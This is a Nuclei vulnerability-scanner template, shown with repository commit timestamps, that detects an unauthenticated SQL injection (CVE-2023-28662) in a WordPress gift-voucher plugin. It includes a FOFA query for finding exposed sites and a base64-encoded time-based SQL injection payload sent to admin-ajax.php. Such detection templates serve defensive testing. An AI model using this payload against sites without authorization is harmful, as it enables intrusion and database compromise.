nuclei-templates/http/cves/2023/CVE-2023-28662.yaml

62 lines
2.2 KiB
YAML
Raw Normal View History

2024-02-04 10:48:42 +00:00
id: CVE-2023-28662
info:
2024-02-04 18:29:27 +00:00
name: Wordpress Gift Cards <= 4.3.1 - SQL Injection
2024-02-04 10:48:42 +00:00
author: xxcdd
severity: critical
description: |
The Gift Cards (Gift Vouchers and Packages) WordPress Plugin, version <= 4.3.1, is affected by an unauthenticated SQL injection vulnerability in the template parameter in the wpgv_doajax_voucher_pdf_save_func action.
impact: |
Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
remediation: |
Update the Gift Cards (Gift Vouchers and Packages) WordPress Plugin to the latest version available.
2024-02-04 10:48:42 +00:00
reference:
- https://www.tenable.com/security/research/tra-2023-2
- https://wordpress.org/plugins/gift-voucher/
2024-02-04 18:29:27 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/JoshuaMart/JoshuaMart
2024-02-04 10:48:42 +00:00
classification:
2024-02-04 18:29:27 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2024-02-04 10:48:42 +00:00
cvss-score: 9.8
cve-id: CVE-2023-28662
cwe-id: CWE-89
2024-02-04 18:29:27 +00:00
epss-score: 0.00076
epss-percentile: 0.31593
cpe: cpe:2.3:a:codemenschen:gift_vouchers:*:*:*:*:*:wordpress:*:*
2024-02-04 10:48:42 +00:00
metadata:
max-request: 2
2024-02-04 18:29:27 +00:00
vendor: codemenschen
product: "gift_vouchers"
2024-02-04 18:29:27 +00:00
framework: wordpress
fofa-query: "body=\"/wp-content/plugins/gift-voucher/\""
tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,unauth,gift-voucher
2024-02-05 10:33:58 +00:00
flow: http(1) && http(2)
2024-02-04 10:48:42 +00:00
http:
2024-02-05 10:33:58 +00:00
- raw:
- |
GET /wp-content/plugins/gift-voucher/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Gift Vouchers and Packages'
2024-02-04 10:48:42 +00:00
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpgv_doajax_voucher_pdf_save_func&template=LTEgT1IgU0xFRVAoNik=
matchers:
- type: dsl
dsl:
2024-02-04 18:29:27 +00:00
- duration>=6
- status_code == 500
- contains(body, 'critical error')
condition: and
# digest: 490a004630440220701c3e510171597b0328578de16d4891aa76d61b63459dc89839d25b3c9b65fc022003b91c82fa884ae8a5139739fddafa97aa75fcade9da5da3c7781d8ab95d07d3:922c64590222798bb761d5b6d8e72950